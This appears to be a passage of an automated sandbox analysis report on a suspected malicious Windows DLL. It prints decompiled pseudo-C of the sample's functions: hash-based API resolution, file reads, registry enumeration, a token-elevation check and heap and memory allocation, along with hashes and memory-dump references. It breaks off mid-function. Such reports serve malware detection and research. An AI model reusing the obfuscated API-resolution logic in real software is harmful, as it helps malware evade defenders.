                                                                                                                                              • Instruction ID: f4e7618efdd250c8fb135fe68961dbfabd00ee8833b57f9a202eae68b0f55910
                                                                                                                                              • Opcode Fuzzy Hash: 9388d6fc0ab44810084af1a5b0fc5f81b3c38bd3c3c93c53e58e45b453cb198f
                                                                                                                                              • Instruction Fuzzy Hash: 2601763129228ABAFA9026F04D66F7F7F5CCF817D8F004835BA0165A85DF22A898C124
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 63%
                                                                                                                                              			E6EBE5E10(void* __ecx, intOrPtr _a4) {
                                                                                                                                              				long _v16;
                                                                                                                                              				long _t4;
                                                                                                                                              				void* _t8;
                                                                                                                                              				void** _t9;
                                                                                                                                              				intOrPtr _t17;
                                                                                                                                              				long* _t18;
                                                                                                                                              
                                                                                                                                              				_push(_t16);
                                                                                                                                              				_t8 = __ecx;
                                                                                                                                              				_t17 = _a4;
                                                                                                                                              				if(_t17 != 0) {
                                                                                                                                              					asm("pxor xmm0, xmm0");
                                                                                                                                              					asm("movq [esi], xmm0");
                                                                                                                                              				}
                                                                                                                                              				_t9 = _t8 + 0xc;
                                                                                                                                              				if(E6EBDC280(_t9) != 0) {
                                                                                                                                              					L7:
                                                                                                                                              					_t4 = 0;
                                                                                                                                              					goto L10;
                                                                                                                                              				} else {
                                                                                                                                              					asm("stosd");
                                                                                                                                              					asm("stosd");
                                                                                                                                              					if(E6EBE3064(0x8e844d1e, 0xba53868) == 0) {
                                                                                                                                              						_t4 = 0;
                                                                                                                                              					} else {
                                                                                                                                              						_t4 = SetFilePointer( *_t9, 0,  &_v16, 1); // executed
                                                                                                                                              					}
                                                                                                                                              					if(_t4 != 0xffffffff) {
                                                                                                                                              						if(_t17 != 0) {
                                                                                                                                              							 *_t18 = _t4;
                                                                                                                                              							asm("movq xmm0, [esp]");
                                                                                                                                              							asm("movq [esi], xmm0");
                                                                                                                                              						}
                                                                                                                                              						L10:
                                                                                                                                              						return _t4;
                                                                                                                                              					} else {
                                                                                                                                              						goto L7;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              			}









                                                                                                                                              0x6ebe5e14
                                                                                                                                              0x6ebe5e15
                                                                                                                                              0x6ebe5e17
                                                                                                                                              0x6ebe5e1d
                                                                                                                                              0x6ebe5e1f
                                                                                                                                              0x6ebe5e23
                                                                                                                                              0x6ebe5e23
                                                                                                                                              0x6ebe5e27
                                                                                                                                              0x6ebe5e33
                                                                                                                                              0x6ebe5e67
                                                                                                                                              0x6ebe5e67
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe5e35
                                                                                                                                              0x6ebe5e3a
                                                                                                                                              0x6ebe5e3b
                                                                                                                                              0x6ebe5e4f
                                                                                                                                              0x6ebe5e60
                                                                                                                                              0x6ebe5e51
                                                                                                                                              0x6ebe5e5c
                                                                                                                                              0x6ebe5e5c
                                                                                                                                              0x6ebe5e65
                                                                                                                                              0x6ebe5e6d
                                                                                                                                              0x6ebe5e6f
                                                                                                                                              0x6ebe5e72
                                                                                                                                              0x6ebe5e77
                                                                                                                                              0x6ebe5e77
                                                                                                                                              0x6ebe5e7b
                                                                                                                                              0x6ebe5e80
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe5e65

                                                                                                                                              APIs
                                                                                                                                              • SetFilePointer.KERNELBASE(?,00000000,?,00000001,0BA53868,?,?,00000000,00000000,?,6EBE5D48,?,?), ref: 6EBE5E5C
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: FilePointer
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 973152223-0
                                                                                                                                              • Opcode ID: c5b249cb0bd675f8c00ae2d5a69ae15c2bd38bea87aee8cce9b412d31bd4c1eb
                                                                                                                                              • Instruction ID: a11bbaeda6bbcdd579c7f111e286f62690d0254ad105a4bb87e451f87a7912fa
                                                                                                                                              • Opcode Fuzzy Hash: c5b249cb0bd675f8c00ae2d5a69ae15c2bd38bea87aee8cce9b412d31bd4c1eb
                                                                                                                                              • Instruction Fuzzy Hash: C4F07D31A1AB51B9D75159BCEC40B9B7BECDFD17E0F104F29F540A7144E7B0C8808268
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 100%
                                                                                                                                              			E6EBE5E84(void* __ecx, void* __eflags, void* _a4, long _a8) {
                                                                                                                                              				long _v12;
                                                                                                                                              				void* __esi;
                                                                                                                                              				long _t9;
                                                                                                                                              				long _t10;
                                                                                                                                              				int _t12;
                                                                                                                                              				void* _t18;
                                                                                                                                              				void** _t19;
                                                                                                                                              				DWORD* _t20;
                                                                                                                                              
                                                                                                                                              				_t18 = __ecx;
                                                                                                                                              				_t19 = __ecx + 0xc;
                                                                                                                                              				if(E6EBDC280(_t19) == 0) {
                                                                                                                                              					_v12 = _a8;
                                                                                                                                              					if(E6EBE3064(0x8e844d1e, 0xed3ed1cc) == 0) {
                                                                                                                                              						_t9 = 0x7f;
                                                                                                                                              					} else {
                                                                                                                                              						_t12 = ReadFile( *_t19, _a4, _v12, _t20, 0); // executed
                                                                                                                                              						if(_t12 == 0) {
                                                                                                                                              							_t9 = E6EBE35F0(_t18);
                                                                                                                                              						} else {
                                                                                                                                              							_t9 = 0;
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					 *((intOrPtr*)(_t18 + 8)) = _t9;
                                                                                                                                              					if(_t9 == 0) {
                                                                                                                                              						_t10 = _v12;
                                                                                                                                              					} else {
                                                                                                                                              						_t10 = 0;
                                                                                                                                              						_v12 = 0;
                                                                                                                                              					}
                                                                                                                                              				} else {
                                                                                                                                              					_t10 = 0;
                                                                                                                                              				}
                                                                                                                                              				return _t10;
                                                                                                                                              			}











                                                                                                                                              0x6ebe5e87
                                                                                                                                              0x6ebe5e89
                                                                                                                                              0x6ebe5e95
                                                                                                                                              0x6ebe5e9f
                                                                                                                                              0x6ebe5eb5
                                                                                                                                              0x6ebe5ed4
                                                                                                                                              0x6ebe5eb7
                                                                                                                                              0x6ebe5ec8
                                                                                                                                              0x6ebe5ecc
                                                                                                                                              0x6ebe5eec
                                                                                                                                              0x6ebe5ece
                                                                                                                                              0x6ebe5ece
                                                                                                                                              0x6ebe5ece
                                                                                                                                              0x6ebe5ecc
                                                                                                                                              0x6ebe5ed5
                                                                                                                                              0x6ebe5eda
                                                                                                                                              0x6ebe5ee3
                                                                                                                                              0x6ebe5edc
                                                                                                                                              0x6ebe5edc
                                                                                                                                              0x6ebe5ede
                                                                                                                                              0x6ebe5ede
                                                                                                                                              0x6ebe5e97
                                                                                                                                              0x6ebe5e97
                                                                                                                                              0x6ebe5e97
                                                                                                                                              0x6ebe5ee9

                                                                                                                                              APIs
                                                                                                                                              • ReadFile.KERNELBASE(?,?,00000000,00000000,00000000,8E844D1E,ED3ED1CC,?,?,?,6EBE5D79,00000000,?,00000000,?), ref: 6EBE5EC8
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: FileRead
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 2738559852-0
                                                                                                                                              • Opcode ID: 84a6624f29361c2a8c98364ad473c0758c1d35c4603bde8f3404ef6b27891e48
                                                                                                                                              • Instruction ID: f8eca7c728b01224c2f94fda21eed981d3d30bd3b5ec5e50d1b3f792f7f8391a
                                                                                                                                              • Opcode Fuzzy Hash: 84a6624f29361c2a8c98364ad473c0758c1d35c4603bde8f3404ef6b27891e48
                                                                                                                                              • Instruction Fuzzy Hash: 21F0D130219343AED791EAB9AC00AAA7FD8EF493D0F104C2AA899C2940EB32D444C725
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 100%
                                                                                                                                              			E6EBE564C(void* __ecx) {
                                                                                                                                              				long _t9;
                                                                                                                                              				char* _t11;
                                                                                                                                              				void* _t16;
                                                                                                                                              				int _t17;
                                                                                                                                              				int _t18;
                                                                                                                                              				int* _t19;
                                                                                                                                              
                                                                                                                                              				_t18 = 0;
                                                                                                                                              				_t17 = _t19[0x48];
                                                                                                                                              				_t16 = __ecx;
                                                                                                                                              				_t11 =  &(_t19[1]);
                                                                                                                                              				 *_t17 = 0;
                                                                                                                                              				 *((intOrPtr*)(_t17 + 4)) = 0;
                                                                                                                                              				 *((intOrPtr*)(_t17 + 8)) = 0;
                                                                                                                                              				while(1) {
                                                                                                                                              					 *_t19 = 0x105;
                                                                                                                                              					if(E6EBE3064(0x150c05fc, 0xed2313f7) == 0) {
                                                                                                                                              						goto L4;
                                                                                                                                              					}
                                                                                                                                              					_t9 = RegEnumValueA( *(_t16 + 4), _t18, _t11, _t19, 0, 0, 0, 0); // executed
                                                                                                                                              					if(_t9 == 0) {
                                                                                                                                              						goto L4;
                                                                                                                                              					}
                                                                                                                                              					return _t17;
                                                                                                                                              					L4:
                                                                                                                                              					E6EBDE644(_t17, _t11,  *_t17);
                                                                                                                                              					_t18 = _t18 + 1;
                                                                                                                                              				}
                                                                                                                                              			}









                                                                                                                                              0x6ebe5656
                                                                                                                                              0x6ebe5658
                                                                                                                                              0x6ebe565f
                                                                                                                                              0x6ebe5661
                                                                                                                                              0x6ebe5665
                                                                                                                                              0x6ebe5667
                                                                                                                                              0x6ebe566a
                                                                                                                                              0x6ebe566d
                                                                                                                                              0x6ebe566d
                                                                                                                                              0x6ebe5687
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe5698
                                                                                                                                              0x6ebe569c
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe56aa
                                                                                                                                              0x6ebe56ad
                                                                                                                                              0x6ebe56b2
                                                                                                                                              0x6ebe56b7
                                                                                                                                              0x6ebe56b7

                                                                                                                                              APIs
                                                                                                                                              • RegEnumValueA.KERNELBASE(?,00000001,?,00000000,00000000,00000000,00000000,00000000,150C05FC,ED2313F7,?,?,150C05FC,ED2313F7), ref: 6EBE5698
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: EnumValue
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 2814608202-0
                                                                                                                                              • Opcode ID: eaa139f66eab8ff4bbabcae264f96130f64c4111b48ae2ac250c1eeef9ea8eef
                                                                                                                                              • Instruction ID: d99f4da2159d9576e2e23e869dcc5ce80fcef289e221c9f00c70aeb133c54890
                                                                                                                                              • Opcode Fuzzy Hash: eaa139f66eab8ff4bbabcae264f96130f64c4111b48ae2ac250c1eeef9ea8eef
                                                                                                                                              • Instruction Fuzzy Hash: 89F0A4B510530AAFE7249E9A8C54DBBBBECDBC1B50F00851DA0D542500EB31A8548970
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 45%
                                                                                                                                              			E6EBE1030(void* __ecx) {
                                                                                                                                              				void* _v36;
                                                                                                                                              				void* _v44;
                                                                                                                                              				int _t15;
                                                                                                                                              				intOrPtr* _t21;
                                                                                                                                              				void* _t24;
                                                                                                                                              				intOrPtr* _t25;
                                                                                                                                              
                                                                                                                                              				_t24 = __ecx;
                                                                                                                                              				 *_t25 = 0;
                                                                                                                                              				_t21 = E6EBE306C(0x150c05fc, 0x1da4d409, 0x150c05fc, 0x150c05fc);
                                                                                                                                              				if(_t21 == 0) {
                                                                                                                                              					L5:
                                                                                                                                              					return 0;
                                                                                                                                              				}
                                                                                                                                              				_push(_t25);
                                                                                                                                              				_push(8);
                                                                                                                                              				_push(_t24);
                                                                                                                                              				if( *_t21() == 0 || E6EBE306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc) == 0) {
                                                                                                                                              					goto L5;
                                                                                                                                              				} else {
                                                                                                                                              					_t2 = _t25 + 8 - 4; // 0x150c05f8
                                                                                                                                              					_t15 = GetTokenInformation( *(_t25 + 0x10), 0x14, _t2, 4, _t25 + 8); // executed
                                                                                                                                              					if(_t15 == 0) {
                                                                                                                                              						goto L5;
                                                                                                                                              					}
                                                                                                                                              					return 0 |  *((intOrPtr*)(_t25 + 4)) != 0x00000000;
                                                                                                                                              				}
                                                                                                                                              			}









                                                                                                                                              0x6ebe103e
                                                                                                                                              0x6ebe1040
                                                                                                                                              0x6ebe104e
                                                                                                                                              0x6ebe1052
                                                                                                                                              0x6ebe109b
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe109b
                                                                                                                                              0x6ebe1057
                                                                                                                                              0x6ebe1058
                                                                                                                                              0x6ebe105a
                                                                                                                                              0x6ebe105f
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1078
                                                                                                                                              0x6ebe107c
                                                                                                                                              0x6ebe1089
                                                                                                                                              0x6ebe108d
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1096

                                                                                                                                              APIs
                                                                                                                                              • GetTokenInformation.KERNELBASE(00000004,00000014,150C05F8,00000004,150C05FC,150C05FC,150C05FC), ref: 6EBE1089
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: InformationToken
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 4114910276-0
                                                                                                                                              • Opcode ID: 6e47646477a1af0dc4b2de091a4f50078e9155f62806ec5d6aed96985eb654ee
                                                                                                                                              • Instruction ID: 6415c3548f0b0004838b323e4e0b7e33801bd9453966838041e3230f8402b14e
                                                                                                                                              • Opcode Fuzzy Hash: 6e47646477a1af0dc4b2de091a4f50078e9155f62806ec5d6aed96985eb654ee
                                                                                                                                              • Instruction Fuzzy Hash: 28F0C8703446C3ABFA409AB89C24F3F3AEDDBC1650F548838B540CA594DF34C8498221
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 29%
                                                                                                                                              			E6EBE3628(void* __ecx) {
                                                                                                                                              				void* _t3;
                                                                                                                                              				intOrPtr* _t7;
                                                                                                                                              				void* _t9;
                                                                                                                                              
                                                                                                                                              				_t9 = __ecx;
                                                                                                                                              				if( *0x6ebed228 == 0xa33c83e5) {
                                                                                                                                              					_t7 = E6EBE3064(0x60a28c5c, 0x1c6ef387);
                                                                                                                                              					 *0x6ebed22c = E6EBE3064(0x60a28c5c, 0x5e0afaa3);
                                                                                                                                              					if( *0x6ebed228 == 0xa33c83e5) {
                                                                                                                                              						 *_t7(2, 0, 0, 0, 0, 0); // executed
                                                                                                                                              						 *0x6ebed228 = 0;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				_t3 = E6EBE3064(0x60a28c5c, 0x45b68b68);
                                                                                                                                              				if(_t3 == 0) {
                                                                                                                                              					return 0;
                                                                                                                                              				} else {
                                                                                                                                              					_push(_t9);
                                                                                                                                              					_push(8);
                                                                                                                                              					_push( *0x6ebed228);
                                                                                                                                              					asm("int3");
                                                                                                                                              					asm("int3");
                                                                                                                                              					return _t3;
                                                                                                                                              				}
                                                                                                                                              			}






                                                                                                                                              0x6ebe3630
                                                                                                                                              0x6ebe3638
                                                                                                                                              0x6ebe366b
                                                                                                                                              0x6ebe367c
                                                                                                                                              0x6ebe3687
                                                                                                                                              0x6ebe3692
                                                                                                                                              0x6ebe3694
                                                                                                                                              0x6ebe3694
                                                                                                                                              0x6ebe3687
                                                                                                                                              0x6ebe3644
                                                                                                                                              0x6ebe364b
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe364d
                                                                                                                                              0x6ebe364d
                                                                                                                                              0x6ebe364e
                                                                                                                                              0x6ebe3650
                                                                                                                                              0x6ebe3652
                                                                                                                                              0x6ebe3653
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe3653

                                                                                                                                              APIs
                                                                                                                                              • RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,60A28C5C,5E0AFAA3,60A28C5C,1C6EF387,?,?,00000000,6EBDDE09,?,?), ref: 6EBE3692
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: CreateHeap
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 10892065-0
                                                                                                                                              • Opcode ID: bcecbd6608081da15383870d42c59b1278d3de5178abb8d97879da733bce465b
                                                                                                                                              • Instruction ID: b3bc7b75908a8ff53874f6120b8842d060e90aa5d0d776c0ac71fe7db479cb32
                                                                                                                                              • Opcode Fuzzy Hash: bcecbd6608081da15383870d42c59b1278d3de5178abb8d97879da733bce465b
                                                                                                                                              • Instruction Fuzzy Hash: 65F02E3416A2D1BDEB6019F6FC08D669E98FF956D6F000C39F284E5D11D7F08880D635
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              APIs
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.682521592.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: true
                                                                                                                                              Similarity
                                                                                                                                              • API ID: AllocVirtual
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 4275171209-0
                                                                                                                                              • Opcode ID: 77a4ce7cbd9b0b6e3dfb75932d68ed1e485d91fe3d93fc30e60a4b16e5e7962b
                                                                                                                                              • Instruction ID: d830d280f21519f3dba80a9d5e79d3c44b50194768c143e2cb01c3ce37a23dfb
                                                                                                                                              • Opcode Fuzzy Hash: 77a4ce7cbd9b0b6e3dfb75932d68ed1e485d91fe3d93fc30e60a4b16e5e7962b
                                                                                                                                              • Instruction Fuzzy Hash: 4A4105B1E0521A9FCB08DF99D490AAEBBF1FF48314F15852EE449AB341D775A840CF80
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              Non-executed Functions

                                                                                                                                              C-Code - Quality: 31%
                                                                                                                                              			E6EBD1494(intOrPtr __ecx, void* __edx, void* __eflags) {
                                                                                                                                              				intOrPtr _v40;
                                                                                                                                              				intOrPtr _v60;
                                                                                                                                              				void* _v68;
                                                                                                                                              				char _v72;
                                                                                                                                              				char _v76;
                                                                                                                                              				char _v80;
                                                                                                                                              				char _v84;
                                                                                                                                              				char _v88;
                                                                                                                                              				char _v92;
                                                                                                                                              				char _v96;
                                                                                                                                              				char _v100;
                                                                                                                                              				char _v104;
                                                                                                                                              				char _v108;
                                                                                                                                              				char _v112;
                                                                                                                                              				char _v116;
                                                                                                                                              				char _v120;
                                                                                                                                              				char _v124;
                                                                                                                                              				char _v128;
                                                                                                                                              				char _v132;
                                                                                                                                              				char _v136;
                                                                                                                                              				char _v140;
                                                                                                                                              				char _v144;
                                                                                                                                              				char _v148;
                                                                                                                                              				char _v152;
                                                                                                                                              				char _v156;
                                                                                                                                              				char _v160;
                                                                                                                                              				char _v164;
                                                                                                                                              				char _v168;
                                                                                                                                              				char _v172;
                                                                                                                                              				char _v176;
                                                                                                                                              				char _v180;
                                                                                                                                              				char _v184;
                                                                                                                                              				char _v188;
                                                                                                                                              				char _v192;
                                                                                                                                              				char _v196;
                                                                                                                                              				char _v200;
                                                                                                                                              				char _v204;
                                                                                                                                              				char _v208;
                                                                                                                                              				char _v212;
                                                                                                                                              				char _v216;
                                                                                                                                              				char _v220;
                                                                                                                                              				char _v224;
                                                                                                                                              				char _v228;
                                                                                                                                              				char _v232;
                                                                                                                                              				char _v236;
                                                                                                                                              				char _v240;
                                                                                                                                              				char _v244;
                                                                                                                                              				char _v248;
                                                                                                                                              				char _v252;
                                                                                                                                              				char _v256;
                                                                                                                                              				char _v260;
                                                                                                                                              				char _v264;
                                                                                                                                              				char _v268;
                                                                                                                                              				char _v272;
                                                                                                                                              				char _v276;
                                                                                                                                              				void* _v288;
                                                                                                                                              				intOrPtr _v292;
                                                                                                                                              				char _v296;
                                                                                                                                              				char _v300;
                                                                                                                                              				char _v304;
                                                                                                                                              				char _v308;
                                                                                                                                              				char _v312;
                                                                                                                                              				char _v316;
                                                                                                                                              				char _v320;
                                                                                                                                              				char _v324;
                                                                                                                                              				char _v340;
                                                                                                                                              				char _v344;
                                                                                                                                              				char _v348;
                                                                                                                                              				char _v352;
                                                                                                                                              				char _v356;
                                                                                                                                              				void* __ebp;
                                                                                                                                              				void* _t282;
                                                                                                                                              				intOrPtr* _t310;
                                                                                                                                              				intOrPtr* _t318;
                                                                                                                                              				intOrPtr* _t434;
                                                                                                                                              				intOrPtr* _t480;
                                                                                                                                              				void* _t481;
                                                                                                                                              
                                                                                                                                              				_t481 = __eflags;
                                                                                                                                              				_t480 =  &_v60;
                                                                                                                                              				_v40 = __ecx;
                                                                                                                                              				_v76 = 0;
                                                                                                                                              				E6EBDF584( &_v72, 0);
                                                                                                                                              				_v60 = 0xe7942190;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v76, E6EBDF4CC( &_v76) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v80, E6EBDF4CC( &_v80) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v88 = _v88 + 1;
                                                                                                                                              				_t325 =  &_v84;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v84 + 0x10)) = 0x4074eca0;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v84, E6EBDF4CC(_t325) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v88, E6EBDF4CC( &_v88) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v96 = _v96 + 1;
                                                                                                                                              				_t329 =  &_v92;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v92 + 0x10)) = 0x742aedea;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v92, E6EBDF4CC(_t329) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v96, E6EBDF4CC( &_v96) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v104 = _v104 + 1;
                                                                                                                                              				_t333 =  &_v100;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v100 + 0x10)) = 0x414fdf7;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v100, E6EBDF4CC(_t333) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v104, E6EBDF4CC( &_v104) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v112 = _v112 + 1;
                                                                                                                                              				_t337 =  &_v108;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v108 + 0x10)) = 0xdb41c42;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v108, E6EBDF4CC(_t337) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v112, E6EBDF4CC( &_v112) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v120 = _v120 + 1;
                                                                                                                                              				_t341 =  &_v116;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v116 + 0x10)) = 0xb84fc88b;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v116, E6EBDF4CC(_t341) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v120, E6EBDF4CC( &_v120) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v128 = _v128 + 1;
                                                                                                                                              				_t345 =  &_v124;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v124 + 0x10)) = 0x3937949d;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v124, E6EBDF4CC(_t345) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v128, E6EBDF4CC( &_v128) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v136 = _v136 + 1;
                                                                                                                                              				_t349 =  &_v132;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v132 + 0x10)) = 0x840d15ae;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v132, E6EBDF4CC(_t349) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v136, E6EBDF4CC( &_v136) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v144 = _v144 + 1;
                                                                                                                                              				_t353 =  &_v140;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v140 + 0x10)) = 0xe96b154c;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v140, E6EBDF4CC(_t353) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v144, E6EBDF4CC( &_v144) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v152 = _v152 + 1;
                                                                                                                                              				_t357 =  &_v148;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v148 + 0x10)) = 0x35237dcf;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v148, E6EBDF4CC(_t357) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v152, E6EBDF4CC( &_v152) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v160 = _v160 + 1;
